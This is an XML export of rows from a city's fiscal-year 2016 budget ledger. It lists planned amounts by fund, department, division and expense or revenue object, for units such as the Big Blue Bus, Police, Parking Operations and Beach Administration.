<row _id="22270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>73322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>73322</total></row>
<row _id="22271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2376296</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2376296</total></row>
<row _id="22272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569000.0</object><object_description>CULTURAL/ARTS GRANTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>440700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>440700</total></row>
<row _id="22273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>577870.0</object><object_description>HERITAGE SQUARE MUSEUM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="22275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="22276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="22279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>38268</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38268</total></row>
<row _id="22280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29027</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29027</total></row>
<row _id="22281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32871</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32871</total></row>
<row _id="22282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533650.0</object><object_description>CONF / MTGS / TRAVEL-TV</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3089</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3089</total></row>
<row _id="22283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567010.0</object><object_description>PUBLIC SAFETY BONDS</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>970750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>970750</total></row>
<row _id="22284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401070.0</object><object_description>TENNIS RESERVATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-217900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-217900</total></row>
<row _id="22286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400770.0</object><object_description>LEASE RENTAL REV-BEACH CLUB</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-409822</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-409822</total></row>
<row _id="22287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-81389</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-81389</total></row>
<row _id="22288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-580000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-580000</total></row>
<row _id="22289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-61713</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-61713</total></row>
<row _id="22290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4875</total></row>
<row _id="22291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30600</total></row>
<row _id="22292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7752327</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7752327</total></row>
<row _id="22293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="22294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56723</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56723</total></row>
<row _id="22296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577080.0</object><object_description>TMP FEES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>653497</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>653497</total></row>
<row _id="22297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2016</fiscal_year><july>-25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-25000</total></row>
<row _id="22298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>577130.0</object><object_description>CONSUMER PROTECTION UNIT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16000</total></row>
<row _id="22299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578530.0</object><object_description>TRANSFER TO PIER FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>515812</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>515812</total></row>
<row _id="22300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522986.0</object><object_description>CNG FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6120</total></row>
<row _id="22301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>43846</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43846</total></row>
<row _id="22302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>42449</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>42449</total></row>
<row _id="22303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29878</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29878</total></row>
<row _id="22305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1189</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1189</total></row>
<row _id="22306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16085</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16085</total></row>
<row _id="22307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522976.0</object><object_description>LNG FUEL TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>377400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>377400</total></row>
<row _id="22308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28052</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28052</total></row>
<row _id="22309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12797</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12797</total></row>
<row _id="22310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>718846</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>718846</total></row>
<row _id="22311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>182847</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>182847</total></row>
<row _id="22312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>45853</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45853</total></row>
<row _id="22313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>133319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>133319</total></row>
<row _id="22314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>345865</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>345865</total></row>
<row _id="22315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26410</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26410</total></row>
<row _id="22316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>133625</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>133625</total></row>
<row _id="22317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>231806</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>231806</total></row>
<row _id="22318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12320</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12320</total></row>
